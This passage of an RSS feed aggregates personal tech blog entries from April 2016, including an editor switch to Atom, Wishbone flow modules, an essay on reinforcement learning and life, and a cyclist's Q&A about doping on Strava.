&lt;img alt="Book Cover" src="https://boyter.org/static/books/2ab5cf8939174ad9f15e37b5c3b3455d.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/2c4c9b3070518409dd3bb60866376e94.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/32c547d3a60c154f1fb64aa839595ae0.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/3469a019cffdcb02b7c6c2c988d5e262.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/3773aca56954ca81e5a0a4a2b8e57a7c.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/3b6f0699bfc1861a72a1d08fbaad2c72.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/3caf4bf9aa8beb1e62823036a0b0a512.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/42e693e90db078e00e7936c702dcd958.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/4b1ed080f643e3e5562f05f6d6bd26f9-2.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/4cecc403e48d3602d0266f70ce9707cd.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/4d10ff3f2dc4d74dcb6005e1d955024a.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/502ca10c8dbcbd2329970a72c3dd9691.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/53d09aba945d976a2ea690d6f5e5a146.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/59248dad5f27b1c9ecbbf1598cdbe8e0-2.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/5edb2981ac2f117f5516c8dc57b5520b.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/6b4b2578b56c906e43905b6f3eacb188.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/6dbac0c61d6ea675f35c3c8cd702643d.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/73c16e3aeb3a5ebc7a5eddf2ad816e34.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/7688ba098f2541663e0aca3b636e40ce-2.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/7b45b468fdbfbffe7a7b491baebd2223.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/7d4b7c5e2eb02223e2a1dc99502c8024.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/84c9c66c6aae83c9bf7df98e30868901.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/8b9bb089f6f4d9e2bb34219db7c6e4de.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/8e4884dc8c7889b870e4ef9090aec92f-2.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/93bdca38eae9abc46cb51eb651600f8b.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/a003ef423713a4bbe5c99699b91d1b36.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/a19a39a26066b4dd253e19d801247db5.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/a3e3c5061c3bcc51e6012d58986d03b7.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/ad1f9bed6a6fffa6bcf2910d118c7e79.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/aecf5a2fe6f759c86a71b3287e0928db.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/af15681769d0a18acb338ca15e6f3d61.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/afeb22a3feebbcaddb776834ef5edbbf.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/b86a4508477fec723e94599d97560a6e.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/c17b82922cbcd232c901a251d09676c4.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/cbb11cdd02d03ce2e1d412c71530f96e.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/ce4376ffcb7e04b59e4bfc70b7f6917d.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/ce8d47902f84b0188979ffb7b265007c-2.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/d7b5d66c5a2a787986b91792db48ec7d.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/d82e9f3ef8800bbb7d11bad32aac4d97.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/dbc8738228a3abe37136fcc6fdd6eec8-2.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/e011c9c775c8168f45248d77626addfd.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/e1120a9e3abfecff3ac50527e1b3556f-2.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/ee6ab48856007bb7aee35446391474b3.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/f063fd899d4dfc5b77bf6a29cb6ef9ef.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/f7598a1d0e03c6bcaab55ca4160898ac.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/f8153cfdbe0a117e6386fa7051976063-2.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/fe79f4a4b464936db0762e1ee53427c7.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/FGMeVj7VEAM7Zni.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/b1.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/b2.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/b3.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/b4.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/gpt.jpg" /&gt;&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Fri, 22 Apr 2016 03:48:41 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/04/collection-orly-book-covers/</guid></item><item><title>Links - April 22nd, 2016</title><link>https://faingezicht.com/links/2016/04/22/links/</link><description/><author>Avy Faingezicht</author><pubDate>Fri, 22 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/04/22/links/</guid></item><item><title>Moving back to WordPress.</title><link>https://benovermyer.com/blog/2016/04/moving-back-to-wordpress/</link><description>&lt;p&gt;I'm transitioning away from hosted Ghost back to WordPress. More about this later.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Fri, 22 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2016/04/moving-back-to-wordpress/</guid></item><item><title>Manage linux servers from a Windows workstation</title><link>https://www.zufallsheld.de/2016/04/22/manage-linux-servers-from-windows-workstation/</link><description>&lt;p&gt;&lt;strong&gt;&lt;span class="caps"&gt;EDIT&lt;/span&gt;&lt;/strong&gt;: This article was first posted in 2016. As of 2019 I still have to use Windows at work, but now I just use &lt;span class="caps"&gt;WSL&lt;/span&gt; with&amp;nbsp;wsltty.&lt;/p&gt;
&lt;p&gt;At work I have to use Windows as operating system on my workstation, even though I manage almost only linux servers. There are …&lt;/p&gt;</description><author>zufallsheld</author><pubDate>Fri, 22 Apr 2016 01:00:00 GMT</pubDate><guid isPermaLink="true">https://www.zufallsheld.de/2016/04/22/manage-linux-servers-from-windows-workstation/</guid></item><item><title>Fix 2015 Moto G (3rd Gen) Unresponsiveness</title><link>https://www.davidschlachter.com/misc/moto_g_2015</link><description>Using a slow SD card as internal storage in Android 6 can cause serious performance issues!</description><author>David Schlachter</author><pubDate>Thu, 21 Apr 2016 20:00:00 GMT</pubDate><guid isPermaLink="true">https://www.davidschlachter.com/misc/moto_g_2015</guid></item><item><title>The Big Short: Inside the Doomsday Machine</title><link>https://olshansky.info/book/the_big_short/</link><description>Olshansky's review of The Big Short: Inside the Doomsday Machine by Michael Lewis</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 20 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/the_big_short/</guid></item><item><title>Clojure-Snake: Bringing my desk ornament to my desktop</title><link>https://joshuarogers.net/articles/2016-04/clojure-snake/</link><description>Lately I've been exploring the world of Clojure. I'm not sure whether it was the siren song of functional programming that started driving me, the simplicity of Lisp, or my curiosity about this language that was being promoted by the likes of Uncle Bob. Whatever the cause, I needed to explore this strange world head first. I needed to try out this language for myself.
I spent much of time just dipping my toes in and writing little toy programs here and there.</description><author>Joshua Rogers</author><pubDate>Tue, 19 Apr 2016 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2016-04/clojure-snake/</guid></item><item><title>What convolutional neural networks look at when they look at nudity</title><link>https://www.ryancompton.net/2016/04/19/what-convolutional-neural-networks-look-at-when-they-look-at-nudity.html</link><description>Originally published on the Clarifai blog at http://blog.clarifai.com/what-convolutional-neural-networks-see-at-when-they-see-nudity/ Last week at Clarifai we formally announced our Not Safe for Work (NSFW) adult content recognition model. Automating the discovery of nude pictures has been a central problem in computer vision for over two decades now and, because of it’s rich history and straightforward goal, serves as a great example of how the field has evolved. In this blog post, I’ll use the problem of nudity detection to illustrate how training modern convolutional neural networks (convnets) differs from research done in the past. (Warning &amp;amp; Disclaimer: This post contains visualizations of nudity for scientific purposes. Read no further if you are under the age of 18 or if you are offended by nudity.)</description><author>Ryan Compton</author><pubDate>Tue, 19 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.ryancompton.net/2016/04/19/what-convolutional-neural-networks-look-at-when-they-look-at-nudity.html</guid></item><item><title>Quis custodiet ipsos custodes: Monitoring a poll-based monitoring solution</title><link>https://smetj.net/monitoring_a_poll-based_monitoring_solution.html</link><description>&lt;p&gt;Your monitoring platform is susceptible to failure pretty much like any other
component within your infrastructure. Having your monitoring monitored is a
topic you should consider spending some time on.  In this article we will
cover how you can use Wishbone to cross check your monitoring setup and alert
an …&lt;/p&gt;</description><author>Jelle Smet</author><pubDate>Tue, 19 Apr 2016 00:30:00 GMT</pubDate><guid isPermaLink="true">https://smetj.net/monitoring_a_poll-based_monitoring_solution.html</guid></item><item><title>Links - April 18th, 2016</title><link>https://faingezicht.com/links/2016/04/18/links/</link><description/><author>Avy Faingezicht</author><pubDate>Mon, 18 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/04/18/links/</guid></item><item><title>Switching to Atom, this time for good</title><link>https://muffinman.io/blog/trying-atom-for-the-third-time/</link><description>&lt;article class="article"&gt;&lt;p&gt;I&amp;#x27;m a big fan of &lt;a href="https://www.sublimetext.com/"&gt;Sublime Text&lt;/a&gt; editor, which I was using for years now.
Minimal, fast, reliable. But there is one big problem with it.
Only one man is working on it&amp;#x27;s development and community really slowed down.
JavaScript ecosystem is going forward at incredible speed, and I&amp;#x27;m not sure if Sublime will be able to keep up.&lt;/p&gt;
&lt;p&gt;Even &lt;a href="https://en.wikipedia.org/wiki/Bus_factor"&gt;bus factor&lt;/a&gt; comes to mind.&lt;/p&gt;
&lt;p&gt;That&amp;#x27;s why I tried couple of alternatives.
When comes to bigger IDEs JetBrains is really good, but it is not as snappy as I would like.
Logical move was to try GitHub&amp;#x27;s &lt;a href="https://atom.io"&gt;Atom&lt;/a&gt; editor again.&lt;/p&gt;
&lt;figure class="image__figure image__figure--transparent image__figure--center"&gt;&lt;img alt="Atom Logo" height="206" src="./atom.png" width="1000" /&gt;&lt;/figure&gt;
&lt;p&gt;Atom is basically a open source clone of Sublime Text, built on web technologies.
I&amp;#x27;ve tried it two times in the past, but both times I was going back to Sublime.
It just wasn&amp;#x27;t as polished and fast as Sublime is.
Couple of weeks ago I gave it another chance.&lt;/p&gt;
&lt;p&gt;This time it blew me away. It is so much faster than it was last time I tried it.
Community released and updated so many great packages.
Linters, support for React, Angular, Babel, ES2015...
UI is better, everything improved so much.&lt;/p&gt;
&lt;p&gt;Small disclaimer, I&amp;#x27;m a frontend developer, and Atom is awesome for it.
People are using it for everything else too, but I don&amp;#x27;t have much experience with other languages.&lt;/p&gt;
&lt;p&gt;Issue with large files is still here though. Opening 5MB+ log files is painful.
This is something that I hope will be solved in the future, but it is not a deal breaker for me.
Also when you open a file, there is a brief flash of white text,
before syntax highlighting kicks in, but I got used to it after couple of days.&lt;/p&gt;
&lt;p&gt;Long story short - I&amp;#x27;m sticking with Atom this time.&lt;/p&gt;
&lt;p&gt;Thanks to everyone in the Atom team and community, for making awesome development tool,
and keeping it open source.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Edit: I even used Atom recently on live coding session on &lt;a href="/blog/null-object-tech-meetup-vol-2/"&gt;Null Object Tech Meetup&lt;/a&gt;.&lt;/p&gt;
&lt;figure class="image__figure wide image__figure--wide"&gt;&lt;img alt="Me, live coding on a meetup" height="389" src="./meetup.jpg" width="750" /&gt;&lt;/figure&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 18 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/trying-atom-for-the-third-time/</guid></item><item><title>Simplex Noise</title><link>http://www.nuke24.net/plog/8.html</link><author>TOGoS's Project Log</author><pubDate>Sun, 17 Apr 2016 21:13:37 GMT</pubDate><guid isPermaLink="true">http://www.nuke24.net/plog/8.html</guid></item><item><title>Go with the flow: Wishbone flow modules</title><link>https://smetj.net/go_with_the_flow.html</link><description>&lt;p&gt;&lt;a class="reference external" href="http://wishbone.readthedocs.org/en/latest"&gt;Wishbone&lt;/a&gt; servers are all about event flow flexibility.  In this article we
will cover the role of the different built-in &lt;em&gt;flow&lt;/em&gt; modules and how to shape
the flow of events along with some practical examples.&lt;/p&gt;
&lt;div class="contents topic" id="table-of-contents"&gt;
&lt;p class="topic-title"&gt;&lt;a class="reference internal" href="#top"&gt;Table of Contents&lt;/a&gt;&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference internal" href="#what-are-flow-modules" id="toc-entry-1"&gt;What are flow modules?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference internal" href="#examples" id="toc-entry-2"&gt;Examples&lt;/a&gt;&lt;ul&gt;
&lt;li&gt;&lt;a class="reference internal" href="#fanout" id="toc-entry-3"&gt;Fanout&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference internal" href="#funnel" id="toc-entry-4"&gt;Funnel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference internal" href="#fresh" id="toc-entry-5"&gt;Fresh&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference internal" href="#roundrobin" id="toc-entry-6"&gt;Roundrobin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference internal" href="#switch" id="toc-entry-7"&gt;Switch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference internal" href="#tippingbucket" id="toc-entry-8"&gt;Tippingbucket&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class="reference internal" href="#final-words" id="toc-entry-9"&gt;Final …&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;</description><author>Jelle Smet</author><pubDate>Sun, 17 Apr 2016 17:30:00 GMT</pubDate><guid isPermaLink="true">https://smetj.net/go_with_the_flow.html</guid></item><item><title>On keeping things</title><link>https://zrkrlc.com/notes/on-keeping-things/1460881620/</link><description>I.I have a wiki.</description><author>Junk Heap Homotopy</author><pubDate>Sun, 17 Apr 2016 11:27:00 GMT</pubDate><guid isPermaLink="true">https://zrkrlc.com/notes/on-keeping-things/1460881620/</guid></item><item><title>Haskell notes</title><link>https://xenodium.com/haskell-notes</link><description>&lt;h2&gt;Referential transparency&lt;/h2&gt;
&lt;p&gt;An expression consistently evaluating to the same result, regardless of context.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://learnyouahaskell.com/"&gt;learnyouahaskell.com&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wiki.haskell.org"&gt;wiki.haskell.org&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 17 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/haskell-notes</guid></item><item><title>SF Weekends</title><link>https://faingezicht.com/photos/2016/04/17/weekends/</link><description>Two weekends, one post. Mostly shot with my new 24mm 2.8f lens :)</description><author>Avy Faingezicht</author><pubDate>Sun, 17 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/04/17/weekends/</guid></item><item><title>Passive agressive CC'ing</title><link>https://danielsada.tech/blog/passive-agressive-cc/</link><description>I found this quote interesting, it was made by reddit user /u/Bytewave, he is a Senior Engineer in a well positioned Telco in Canada. He posts his stories and experiences to reddit.
I often found a hell of a lot of Passive-Agressive CCing and I find that his opinion is relevant.
“Passive-aggressive CCing (where you copy ‘important people’ who do not need to be involved in an issue to throw weight around) is one of the surest giveaways that someone is not a reliable professional and should not be trusted with anything critical.</description><author>Daniel Sada Caraveo | Developer Productivity &amp;amp; Culture</author><pubDate>Sat, 16 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://danielsada.tech/blog/passive-agressive-cc/</guid></item><item><title>Clean boot in erlang relx release</title><link>https://srijan.ch/clean-boot-in-erlang-relx-release</link><description>Booting Erlang release in clean or safe mode</description><author>Srijan Choudhary, all posts</author><pubDate>Fri, 15 Apr 2016 07:50:00 GMT</pubDate><guid isPermaLink="true">https://srijan.ch/clean-boot-in-erlang-relx-release</guid></item><item><title>Null Object Tech Meetup Vol 2</title><link>https://muffinman.io/blog/null-object-tech-meetup-vol-2/</link><description>&lt;article class="article"&gt;&lt;p&gt;Two days ago, we held the second Tech Meetup.
There were two speakers including myself, and Nemanja Nićiforović, our CEO.
Nemanja spoke &lt;i&gt;How to Freelance&lt;/i&gt;, and I covered &lt;i&gt;Intro to React&lt;/i&gt;.&lt;/p&gt;
&lt;p&gt;Grab slides:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href="/pdf/Null Object Tech Meetup - How To Freelance.pdf"&gt;How To Freelance&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="/pdf/Null Object Tech Meetup - Intro To React.pdf"&gt;Intro To React&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We are very thankful to our friends at
&lt;a href="https://www.facebook.com/zaokret/"&gt;Zaokret&lt;/a&gt; where meetup took place.
There were around 60 people and we hope even more people will come to the next one.
Hopefully, we are not going to make a year long pause like we did between this and the last one.&lt;/p&gt;
&lt;figure class="image__figure wide image__figure--wide"&gt;&lt;img alt="Null Object tech meetup atmosphere" height="500" src="./1.jpg" width="965" /&gt;&lt;/figure&gt;
&lt;figure class="image__figure wide image__figure--wide"&gt;&lt;img alt="Stanko Tadić talking at the meetup" height="500" src="./2.jpg" width="965" /&gt;&lt;/figure&gt;
&lt;figure class="image__figure wide image__figure--wide"&gt;&lt;img alt="Audience" height="500" src="./3.jpg" width="965" /&gt;&lt;/figure&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Fri, 15 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/null-object-tech-meetup-vol-2/</guid></item><item><title>Switching away from iPhone</title><link>https://benovermyer.com/blog/2016/04/switching-away-from-iphone/</link><description>&lt;p&gt;Yesterday I went on the Google Fi site and signed up for a Nexus 6P and a data plan roughly equivalent to what I spend at Verizon. My iPhone 6 Plus, despite not (yet) being paid off, is going to sit in a drawer collecting dust starting late next week when the Nexus arrives. Am I displeased with the iPhone? No, not especially. Am I unhappy with Verizon? Well yeah, that's kind of a given for any Verizon customer. I have personal reasons for needing a new phone on a new carrier, but I also have a professional interest in Google Fi and the way it handles mobile phones. We'll see where this goes.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Fri, 15 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2016/04/switching-away-from-iphone/</guid></item><item><title>Life is not a reinforcement learning problem</title><link>http://dimitarsimeonov.com/2016/04/14/life-is-not-reinforcement-learning</link><description>&lt;p&gt;Reinforcement learning(RL) is an effective way to program robots and
intelligent agents to discover their environment and adapt to it.  In
RL, the agent receives rewards based on the the action they did and
the state of the world and resulting outcome, and learn to understand
which of their actions will result in a higher reward.&lt;/p&gt;

&lt;p&gt;Who describes the reward? The programmer. For the robot, the
programmer is God almighty. The programmer is the dictator. The programmer giveth the carot and the programmer giveth the stick.&lt;/p&gt;

&lt;p&gt;As when we live our human lives we are also adjusting to the perceived
rewards for our actions. We are very good at it. Optimizing for grades
at school, social influence to our peers, love and relationships,
money earned, personal growth, mastery of a hobby. We are great at
chasing the reward, maybe even better than a military drone chasing
its target. I’m not actually sure about the drones capabilities, but I
know for fact that humans are really good at playing the well described reinforcement learning games of life.&lt;/p&gt;

&lt;p&gt;But who defines what is rewarding and what is misery? Is it our
dopamine receptors? Is it Hollywood and The American Dream TM? Is it
sex? Is it religion? Is it the internet?&lt;/p&gt;

&lt;p&gt;It is up to each of us to decide how to define their own reward. If we
don’t do it for ourselves, and we very rarely do, someone else will
define it for us. But then, even if we are amazingly good at getting
the reward, we will still live our &lt;strong&gt;LIFE&lt;/strong&gt; as robots programmed by
the person who described the reward system.&lt;/p&gt;

&lt;p&gt;To me, this doesn’t mean living. It merely means executing along as
long as our biological machinery works. It is passive existence, even
if we are prolific contributors to society.&lt;/p&gt;

&lt;p&gt;But what does it mean to define your &lt;em&gt;own&lt;/em&gt; reward? To be honest, I
don’t think it is mathematically possible to define this well. The
reason is that you always need to base your definition onto some prior
assumptions. But how do we make our own rewards if we always have to
base them on something. There are infinitely many valid choices. We
can’t decide…&lt;/p&gt;

&lt;p&gt;Here is my opinion. To make your rewards your own, you need to at
least understand &lt;em&gt;why&lt;/em&gt; you are making them. So lets keep asking about
our actions such as “Why am I brushing my teeth?” “Why don’t I punch
people?” and we will get a chance to unmask the proverbial programmer
who defined our reward system.&lt;/p&gt;

&lt;p&gt;Each of us might come up to a different answer, but at least
each of them is one step closer to the unattainable answer of “Where
does the reward come from?”.&lt;/p&gt;

&lt;p&gt;As we dig in with the “Why” questions, we wouldn’t be able to answer
the “Why” but we can at least reveal our presumptions. At least they
can be &lt;em&gt;our own&lt;/em&gt;.&lt;/p&gt;</description><author>D13V</author><pubDate>Thu, 14 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/04/14/life-is-not-reinforcement-learning</guid></item><item><title>Unbreakable Kimmy Schmidt: Season 1</title><link>https://olshansky.info/tv/unbreakable_kimmy_schmidt_season_1/</link><description>Olshansky's review of Unbreakable Kimmy Schmidt: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 13 Apr 2016 04:52:38 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/unbreakable_kimmy_schmidt_season_1/</guid></item><item><title>Log Bench</title><link>https://june.kim/log-bench/</link><author>june.kim</author><pubDate>Wed, 13 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/log-bench/</guid></item><item><title>What I Should Have Said</title><link>https://june.kim/what-i-should-have-said/</link><author>june.kim</author><pubDate>Wed, 13 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/what-i-should-have-said/</guid></item><item><title>2016-04-13/01</title><link>https://ho.dges.online/pictures/2016-04-13-01/</link><description/><author>ho.dges.online</author><pubDate>Wed, 13 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-04-13-01/</guid></item><item><title>2016-04-13/02</title><link>https://ho.dges.online/pictures/2016-04-13-02/</link><description/><author>ho.dges.online</author><pubDate>Wed, 13 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-04-13-02/</guid></item><item><title>How To Do Devops?</title><link>https://blog.herlein.com/post/how-to-do-devops/</link><description>&lt;p&gt;&lt;a href="https://www.linkedin.com/pulse/how-do-devops-greg-herlein/"&gt;How To Do Devops?&lt;/a&gt;&lt;/p&gt;</description><author>Greg Herlein</author><pubDate>Wed, 13 Apr 2016 02:29:39 GMT</pubDate><guid isPermaLink="true">https://blog.herlein.com/post/how-to-do-devops/</guid></item><item><title>Quickstart `supervisor` guide</title><link>https://www.danielcorin.com/posts/2016/2016-04-12-quickstart-supervisor/</link><description>Quickstart `supervisor` guide</description><author>Thought Eddies</author><pubDate>Tue, 12 Apr 2016 15:15:00 GMT</pubDate><guid isPermaLink="true">https://www.danielcorin.com/posts/2016/2016-04-12-quickstart-supervisor/</guid></item><item><title>Should Dopers Be Banned From Strava?</title><link>https://huphtur.nl/should-dopers-be-banned-from-strava/</link><description>&lt;p&gt;Amateur cyclist Nicholas Brandt-Sorenson got busted for doping, then got busted again for selling dope. Peter Flax wrote a &lt;a href="http://cyclingtips.com/2016/03/who-is-thorfinn-sassquatch-the-mysterious-case-of-a-los-angeles-strava-legend/"&gt;great article&lt;/a&gt; about him on CyclingTips. This and many similar articles got shared and discussed at great length on &lt;a href="https://www.reddit.com/r/Velo/"&gt;/r/Velo/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Legendary Strava doper Nicholas Brandt-Sorenson taking a selfie while biking." src="https://huphtur.nl/images/strava-doper.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;LA Times reporter &lt;a href="http://www.latimes.com/local/la-bio-paresh-dave-staff.html"&gt;Paresh Dave&lt;/a&gt; contacted me via reddit looking to write an article riffing of the Sorenson situation that takes a look at what social apps (Facebook, video games, Strava) should do to deflect bad actors (terrorists, cheaters, harassers).&lt;/p&gt;
&lt;p&gt;He emailed me a bunch of questions that I answered for him. Not sure if Paresh is still working on the article, or if it got denied by his editors, but here my answers (in all its unedited glory, ESL included).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;bit about yourself. age…where you live…where you bike.&lt;/strong&gt;&lt;br /&gt;
My name is Marcel Appelman, I’m 45. Raced in California for several years. Currently living and biking in The Netherlands.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;strava. how much you use it. how come you like it. how important is it to you / your community&lt;/strong&gt;&lt;br /&gt;
Been a Strava user pretty much since they launched in beta (proud owner of low 4 digit user ID: &lt;a href="https://www.strava.com/athletes/1157"&gt;1157&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Use Strava daily, to track my fitness, plan rides (their route planner is amazing) and to check up on friends all over the world (love it when they add photos to their rides).&lt;/p&gt;
&lt;p&gt;It’s also a great tool to find new people to ride with. While on vacation in Spain last year I looked at who had KOMs in the area I was staying at, contacted them via Strava and went on several rides together.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;what’s your connection to sorenson situation. why do you care.&lt;/strong&gt;&lt;br /&gt;
A &lt;a href="https://twitter.com/wednesdaynight"&gt;friend&lt;/a&gt; (and team mate at that time) raced against Brandt-Sorenson in that infamous Masters race in 2011. When Brandt-Sorenson got busted for PEDs, it was the first time it really hit me that people are doping in Masters racing. I resent cheaters and can’t even phantom why anyone would want to cheat for a Masters race. We’re a bunch of old farts racing to win a T-shirt or a box of Clif Bars.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;do you think strava, as i believe you noted in your comment, should be doing more to combat cheating/doping? how exactly?&lt;/strong&gt;&lt;br /&gt;
Not going to lie, I initially flagged a few of Brandt-Sorenson’s rides (Strava disregarded my requests). But the more I thought about it, the more I realized it doesn’t make sense to worry about this. Most KOMs here in The Netherlands are obtained with the aid of really strong winds (aka “Dutch Hills”), should those be flagged for cheating too?&lt;/p&gt;
&lt;p&gt;I don’t think it’s up to Strava to judge if someone is using PEDs or not. Most people in the cycling community know who have the real KOMs, many of those legends don’t even use Strava. Case in point, the famous &lt;a href="https://www.strava.com/segments/8109834"&gt;Old La Honda climb&lt;/a&gt;. Ryan Sherlock is an extremely fast climber (and super nice guy), everyone knows that &lt;a href="https://en.wikipedia.org/wiki/Eric_Heiden"&gt;Eric Heiden&lt;/a&gt; has the real KOM.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=0Oj8k_YHcYg"&gt;https://www.youtube.com/watch?v=0Oj8k_YHcYg&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;would you ever leave strava because you lose trust in the community?&lt;/strong&gt;&lt;br /&gt;
As long as Strava keeps adding features to track my personal fitness and friends then I will continue to use Strava.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;any other thoughts? concerns?&lt;/strong&gt;&lt;br /&gt;
Brandt-Sorenson needs to be punished for peddling drugs, not for Strava sillyness.&lt;/p&gt;
&lt;p&gt;And even though that CyclingTips article was written thoroughly and very amusing at times, I actually feel kind of bad for Brandt-Sorenson to be called out like that. Most cyclists have introvert characteristics and I hope it doesn’t affect him too much.&lt;/p&gt;
